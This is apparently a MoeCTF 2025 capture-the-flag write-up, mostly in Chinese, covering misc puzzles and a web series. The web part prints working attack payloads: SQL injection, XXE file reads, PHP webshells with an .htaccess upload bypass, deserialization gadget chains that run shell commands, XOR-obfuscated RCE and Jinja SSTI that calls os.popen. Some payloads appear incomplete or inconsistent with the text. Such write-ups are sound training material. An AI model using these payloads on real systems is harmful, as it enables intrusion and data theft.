MoeCTF 2025 WriteUp

Misc

Week 1

Misc入门指北

pdf 里复制
Flag: moectf{We1c0m3_7o_tH3_w0R1d_0f_m1sc3111aN3ous!!}

ez_LSB

字面意思 LSB 隐写
zsteg 一键梭哈

sh
1$ zsteg --all xidian.png
2b1,r,lsb,xy  .. text: "The flag is: bW9lY3Rme0xTQl8xc19zMF8xbnQzcmVzdDFuZyEhc2o5d2R9"

Base64 解码
Flag: moectf{LSB_1s_s0_1nt3rest1ng!!sj9wd}

SSTV

玩无线电的都知道
Flag: moectf{d3codiNG_SStV_reQu1REs-PATI3nC3}

捂住一只耳

拿剪辑软件分离左声道就行
摩斯电码

text
1..-. .-.. .- --. .. ... ---... .... .- .-.. ..-. ..--.- .-. .- -.. .. --- ..--.- .. -. ..--.- -..- -.. ..-

解码得

text
1FLAGIS:HALF_RADIO_IN_XDU

Flag: moectf{HALF_RADIO_IN_XDU}

Enchantment

众所周知 mc 附魔台上的文字是标准银河字母
一个个认字就行

text
1the flag is below
2now you have mastered enchanting

Flag: moectf{now_you_have_mastered_enchanting}

ez_png

扔进 010,发现倒数第二个数据块未满的情况下还有一个数据块
zlib 解压

python
1>>> import zlib
2>>> hex = "789ccbcd4f4d2e49abce30744971cd8b0f3089ccf14f7489f7f4d3f54c3109a90500a8d00a5f"
3>>> byte_data = bytes.fromhex(hex)
4>>> print(zlib.decompress(byte_data))
5b'moectf{h1DdEn_P4YlOaD_IN-Id4T}'

Flag: moectf{h1DdEn_P4YlOaD_IN-Id4T}

Week 2

Rush

sh
1ffmpeg -i rush.gif frame_%d.png

拼好码
moectf{QR_C0d3s_feATUR3_eRror_c0RRECt10N}

ez_锟斤拷????

GBK 转 UTF-8

`moectf{EnC0d1ing_gbK_@nD_Utf_8_1s_4un!!ewwww}

encrypted_pdf

网上找个工具爆破密码,flag 藏在图片后面(或者全选提取文字也行)

moectf{Pdf_1s_r3a1ly_c0lor4ul!!ihdw}

ez_ssl

在未加密的 http 流量中提取到上传的ssl.log

在 wireshark 中以这个密钥解密 tls 流量
找到一个有密码的flag.zip

注释说密码为 7 位纯数字,拿去爆破

文件内容为 ook 编码,解码得moectf{upI0@d-l0G_TO-DeCrYPT_uploAD}

万里挑一

循环解压提取密码,然后字典爆破

解压得到flag.zip,内含明文.exeflag.txt,根据提示,使用明文攻击
已知 exe 中有如下明文且偏移为 64

使用bkcrack 攻击

Week 3

weird_photo

使用 Byxs20 的工具爆破 png 宽高

WebRepo


binwalk 发现藏了个 7z 压缩包

010 提取出来,有一个 git 存储库
vscode 打开

Encrypted volume

foremost 提取隐藏图片,扫码得到加密卷密钥,使用 vc 挂载,得到 flag。

Web

Week 1

0 Web入门指北

鉴定为 JSFuck,扔到 console 里跑一下就行
Flag: moectf{jv@vScr1p7_14_so0o0o0o_inT3r3&t!!!}

01 第一章 神秘的手镯

一开始还以为题给文本是 base 编码的,一看长度刚好 10000 字符,那应该不用处理了。
网页不能粘贴,可以直接修改 dom
document.getElementById("passwordInput").value="..."
Flag: moectf{f_i2_1s_Your_g00d_fri3nd!!}

02 第二章 初识金曦玄轨

根页面 把文本的blur移除,可以看到前往/golden_trail看看
前往/golden_trail,显示

text
1========================
2路径不正,难窥天道
3========================

再看题干提示

text
1省流:你知道什么是http请求包吗?抓一个看看吧!

那就去抓一个呗
观察到响应头里:

text
1x-jinxi-secret = moectf{0bs3rv3_Th3_Gold3n_traiL}

那很惊喜了
Flag: moectf{0bs3rv3_Th3_Gold3n_traiL}

03 第三章 问剑石!篡天改命!

观察到有与后端交互,于是寻找 JS 源码

javascript
1const response = await fetch('/test_talent?level=B', {
2    method: 'POST', 
3    headers: { 
4        'Content-Type': 'application/json' 
5    }, 
6    body: JSON.stringify({ manifestation: 'none' }) 
7}); 
8const data = await response.json();

根据题目提示修改为

javascript
1const response = await fetch('/test_talent?level=S', {
2    method: 'POST',
3    headers: {
4        'Content-Type': 'application/json'
5    },
6    body: JSON.stringify({ manifestation: 'flowing_azure_clouds' })
7});
8const data = await response.json();

得到

javascript
1data = {
2    flag: 'moectf{Get_p0st-tRANsMls5l0N-is_A-GooD_METHOD1!!12}', 
3    result: '天赋:S,光芒:流云状青芒', 
4    status: '天道篡改成功!'
5}

Flag: moectf{Get_p0st-tRANsMls5l0N-is_A-GooD_METHOD1!!12}

05 第五章 打上门来!

很简单的目录穿越,访问../../flag
Flag: moectf{@1l-InPut-1s-m@1Iclou576a7ccd7}

Moe笑传之猜猜爆

这题好像是后来加的..?
观察出猜数过程没有与后端交互,所以去翻源码

javascript
1fetch('/flag', {method: 'POST'})
2      .then(res => res.json())
3      .then(data => {
4        document.querySelector('.flagResult').textContent = "FLAG: " + data.flag;
5});

直接运行就行
Flag: moectf{65909f9c-4371-e40d-cf8d-67d15d340473}
当然了,直接在 Console 读取randomNumber的值也是可以的

04 第四章 金曦破禁与七绝傀儡阵

题目提示提示:使用Burp Suite、Postman等工具修改HTTP请求,HackBar 启动!

第一关

text
1GET /stone_golem?key=xdsec
text
1获得玉简碎片: bW9lY3Rme0Mw

第二关

text
1POST /cloud_weaver
2Body: declaration=织云阁=第一
text
1获得玉简碎片: bjZyNDd1MTQ3

第三关

修改 Header 中X-Forwarded-For127.0.0.1即可

text
1获得玉简碎片: MTBuNV95MHVy

第四关

修改User-Agentmoe browser

text
1获得玉简碎片: X2g3N1BfbDN2

第五关

修改Cookieuser=xt

text
1获得玉简碎片: M2xfMTVfcjM0

第六关

修改Refererhttp://panshi/entry

text
1获得玉简碎片: bGx5X2gxOWgh

第七关

字面意思,使用PUT方法,请求体为"新生!"

text
1获得玉简碎片: fQ==

拼接所有碎片:

text
1bW9lY3Rme0MwbjZyNDd1MTQ3MTBuNV95MHVyX2g3N1BfbDN2M2xfMTVfcjM0bGx5X2gxOWghfQ==

Base64解码
Flag: moectf{C0n6r47u14710n5_y0ur_h77P_l3v3l_15_r34lly_h19h!}

06 第六章 藏经禁制?玄机初探!

text
1账号: `admin' OR '1'='1`
2密码: `随便填`
3Flag: `moectf{WE1cOm3_TO-5qI-1njEcTl0Nll79e5d2e}`

07 第七章 灵蛛探穴与阴阳双生符

/robots.txt

text
1User-agent: *
2Disallow: /flag.php

/flag.php

php
 1<?php   
 2highlight_file(__FILE__);   
 3$flag = getenv('FLAG');      
 4$a = $_GET["a"] ?? "";   
 5$b = $_GET["b"] ?? "";      
 6if($a == $b){       
 7    die("error 1");   
 8}      
 9if(md5($a) != md5($b)){       
10    die("error 2");   
11}      
12echo $flag; error 1

php弱类型漏洞

text
1/flag.php?a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

Flag: moectf{mdS_iS_NoT-SaFEl111e461f7b2d}

08 第八章 天衍真言,星图显圣

text
 1---
 2Parameter: username (GET)
 3    Type: UNION query
 4    Title: Generic UNION query (NULL) - 2 columns
 5    Payload: username=test' UNION ALL SELECT CONCAT(0x716a786b71,0x4e56554454666c4f49777666645a4d7863427979697242444559767a4e6b68687a6d4e5755534c79,0x717a6b7171),NULL-- -&password=test
 6
 7Parameter: password (GET)
 8    Type: UNION query
 9    Title: Generic UNION query (NULL) - 2 columns
10    Payload: username=test&password=test' UNION ALL SELECT CONCAT(0x716a786b71,0x4351707a4a4d745a7163774769747650624a507573534c55574d55466150624d764a4d724a744c45,0x717a6b7171),NULL-- -
11    test' UNION ALL SELECT CONCAT("qjxkq","CQpzJMtZqcwGitvPbJPusSLUWMUFaPbMvJMrJtLE","qzkqq"),NULL-- -
12    test' UNION ALL SELECT "qjxkqCQpzJMtZqcwGitvPbJPusSLUWMUFaPbMvJMrJtLEqzkqq",NULL-- -
13---
sh
1$ sqlmap -u "http://127.0.0.1:54968/?username=test&password=test" --threads=10  --technique=U  -D user -T flag --dump
text
1Database: user
2Table: flag
3[1 entry]
4+-----------------------------------------+
5| value                                   |
6+-----------------------------------------+
7| moectf{uNi0n_bASEd_SQl1_FTwll2a96b3875} |
8+-----------------------------------------+

Flag: moectf{uNi0n_bASEd_SQl1_FTwll2a96b3875}

Week 2

10 第十章 天机符阵

/flag.txt
moectf{G00d_7o6_4nD_XX3_Unl0ck_St4r_S34l}

12 第十二章 玉魄玄关·破妄

使用蚁剑连接,查看环境变量


moectf{df1001eb-44fa-ec5d-4fef-08fa40407f1c}

09 第九章 星墟禁制·天机问路

随便输了个,报错

搜了下似乎是 dig 命令的输出?那尝试执行其他命令

13 第十三章 通幽关·灵纹诡影

测试发现校验 content-type,于是上传一句话并修改为 jpeg

但是不行,使用 010 修改文件头后重新上传


使用蚁剑连接

10 第十章 天机符阵_revenge


貌似需要输入 xml 格式,网上搜索后得知是XXE漏洞攻击,构造 payload:

xml
1<!DOCTYPE ANY [
2    <!ENTITY test SYSTEM "file:///flag.txt">
3]>
4<天机契约>
5<阵枢>引魂玉</阵枢>
6<解析>&test;</解析>
7<输出>未定义</输出>
8</天机契约>

14 第十四章 御神关·补天玉碑

提示 Apache有一个特殊文件,是什么呢? 联想到.htaccess文件
.htaccess

text
1<FilesMatch "test.jpg">
2  SetHandler application/x-httpd-php
3</FilesMatch>

test.jpg

text
1<?php
2@eval($_POST['shell']);
3?>

使用蚁剑连接,查看start.sh发现flag 在根目录下(或环境变量中)

摸金偶遇FLAG,拼尽全力难战胜

没有额外的验证,把 js 抄出来就行

javascript
 1fetch(`/get_challenge?count=9`)
 2    .then((response) => {
 3        return response.json();
 4    })
 5    .then((data) => {
 6        console.log(data.numbers)
 7        fetch("/verify", {
 8            method: "POST",
 9            headers: {
10                "Content-Type": "application/json",
11            },
12            body: JSON.stringify({
13                answers: data.numbers,
14                token: data.token
15            })
16        })
17            .then((response) => response.json())
18            .then((data) => {
19                console.log(data)
20            })
21    })

11 第十一章 千机变·破妄之眼

根据题目提示,需要爆破/?*****=*****,参数名由m,n,o,p,q这五个字母组成。
生成所有序列:

python
1import itertools
2letters = ['m', 'n', 'o', 'p', 'q']
3all_permutations = itertools.permutations(letters)
4# print(len(list(all_permutations)))
5for perm in all_permutations:
6    print(''.join(perm))

种组合
使用 bp 爆破

找到npoqm,重定向至find.php

访问后发现路径穿越,但 flag 并不在根目录下...
读取flag.php

666
使用伪协议读取

text
1php://filter/read=convert.base64-encode/resource=./flag.php


base64解码后得到 flag

Week 3

16 第十六章 昆仑星途

01 第一章 神秘的手镯_revenge

666 找了半天/backups/wanyanzhou.txt结果告诉我在/wanyanzhou.txt.bak
6666666 服了

然后扔进 bp 重复 500 次

17 第十七章 星骸迷阵·神念重构

php 反序列化,payload:

php
1<?php
2class A
3{
4    public $a = 'system("cat /flag");';
5}
6$a = new A();
7echo urlencode(serialize($a));
8?>

编码后:

text
1O%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22a%22%3Bs%3A20%3A%22system%28%22cat+%2Fflag%22%29%3B%22%3B%7D

18 第十八章 万卷诡阁·功法连环

需要将 PersonA 的 name 初始化为 PersonB,这样才能调用 work 方法执行函数

php
 1<?php
 2class PersonA
 3{
 4    private $name;
 5    function __construct()
 6    {
 7        $this->name = new PersonB();
 8    }
 9    function __wakeup()
10    {
11        $name = $this->name;
12        $name->work();
13    }
14}
15class PersonB
16{
17    public $name = 'system("cat /flag");';
18    function work()
19    {
20        $name = $this->name;
21        eval($name);
22    }
23}
24$a = new PersonA();
25echo urlencode(serialize($a));
26?>

19 第十九章 星穹真相·补天归源

根据题意需要在 PersonA 的__destruct函数中调用PersonC的__Check函数,在__Check函数中执行命令

php
 1<?php
 2class Person
 3{
 4    public $name;
 5    public $id;
 6    public $age;
 7    public function __invoke($id)
 8    {
 9        $name = $this->id;
10        $name->name = $id;
11        $name->age = $this->name;
12    }
13}
14class PersonA extends Person
15{
16    public function __destruct()
17    {
18        $name = $this->name;
19        $id = $this->id;
20        $age = $this->age;
21        $name->$id($age);
22    }
23}
24class PersonB extends Person
25{
26    public function __set($key, $value)
27    {
28        $this->name = $value;
29    }
30}
31class PersonC extends Person
32{
33    public function __Check($age)
34    {
35        if (str_contains($this->age . $this->name, "flag")) {
36            die("Hacker!");
37        }
38        $name = $this->name;
39        $name($age);
40    }
41    public function __wakeup()
42    {
43        $age = $this->age;
44        $name = $this->id;
45        $name->age = $age;
46        $name($this);
47    }
48}
49
50$personB_object = new PersonB();
51
52$person_inner = new Person();
53$person_inner->name = "";
54$person_inner->id = $personB_object;
55$person_inner->age = "";
56
57$personC_object = new PersonC();
58$personC_object->name = "system";
59$personC_object->age = "";
60$personC_object->id = $person_inner; 
61
62$personA_object = new PersonA();
63$personA_object->name = $personC_object;
64$personA_object->id = "__Check";
65$personA_object->age = "cat /flag";
66
67echo urlencode(serialize($personA_object));
68?>

使用了 gpt

15 第十五章 归真关·竞时净魔

php
1<?php file_put_contents("shell.php","<?php eval(\$_POST['cmd']);?>");?>

理论上是这样的

19 第十九章_revenge

禁止system,改用exec,另外 flag 放在环境变量里

php
 1<?php
 2class Person
 3{
 4    public $name;
 5    public $id;
 6    public $age;
 7}
 8class PersonA extends Person
 9{
10    public function __destruct()
11    {
12        $name = $this->name;
13        $id = $this->id;
14        $name->$id($this->age);
15    }
16}
17class PersonB extends Person
18{
19    public function __set($key, $value)
20    {
21        $this->name = $value;
22    }
23    public function __invoke($id)
24    {
25        $name = $this->id;
26        $name->name = $id;
27        $name->age = $this->name;
28    }
29}
30class PersonC extends Person
31{
32    public function check($age)
33    {
34        $name = $this->name;
35        if ($age == null) {
36            die("Age can't be empty.");
37        } elseif ($name === "system") {
38            die("Hacker!");
39        } else {
40            var_dump($name($age));
41        }
42    }
43    public function __wakeup()
44    {
45        $name = $this->id;
46        $name->age = $this->age;
47        $name($this);
48    }
49}
50$person_inner = new Person();
51$person_inner->name = "";
52$person_inner->id = "";
53$person_inner->age = "";
54$personB_object = new PersonB();
55$personB_object->name = "";
56$personB_object->id = $d;
57$personB_object->age = "";
58$personC_object = new PersonC();
59$personC_object->name = "exec";
60$personC_object->age = "";
61$personC_object->id = $personB_object;
62$personA_object = new PersonA();
63$personA_object->name = $personC_object;
64$personA_object->id = "check";
65$personA_object->age = "env";
66echo urlencode(serialize($personA_object));
67?>

Week 4

这是...Webshell?

无字母数字的 RCE,异或绕过

text
1url: 
2/?shell=$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F');$___=$$__;$_($___[_]);
3
4body: 
5_=system("env");

参考RCE篇之无数字字母rce,mark mark。

20 第二十章 幽冥血海·幻语心魔

题目提供了源码,将输入的username拼接到 flask 模板内输出,所以尝试Flask模板注入(SSTI)
网络搜索得到一个能用的 payload

jinja
 1{% for c in [].__class__.__base__.__subclasses__() %}
 2{% if c.__name__ == 'catch_warnings' %}
 3  {% for b in c.__init__.__globals__.values() %}
 4  {% if b.__class__ == {}.__class__ %}
 5    {% if 'eval' in b.keys() %}
 6      {{ b['eval']('__import__("os").popen("env").read()') }}
 7    {% endif %}
 8  {% endif %}
 9  {% endfor %}
10{% endif %}
11{% endfor %}

21 第二十一章 往生漩涡·言灵死局

相比于上一题禁用了双下划线、global和双花括号

根据搜来的教程构造出__

jinja
1{%set pop=dict(po=a,p=b)|join%}
2{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
3{%print xiahuaxian%}

然后对上面那题的payload进行修改

jinja
 1{%set pop=dict(po=a,p=b)|join%}
 2{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
 3{%print xiahuaxian%}
 4{% for c in [].__class__.__base__.__subclasses__() %}
 5{% if c.__name__ == 'catch_warnings' %}
 6  {% for b in c.__init__.__globals__.values() %}
 7  {% if b.__class__ == {}.__class__ %}
 8    {% if 'eval' in b.keys() %}
 9      {{ b['eval']('__import__("os").popen("env").read()') }}
10    {% endif %}
11  {% endif %}
12  {% endfor %}
13{% endif %}
14{% endfor %}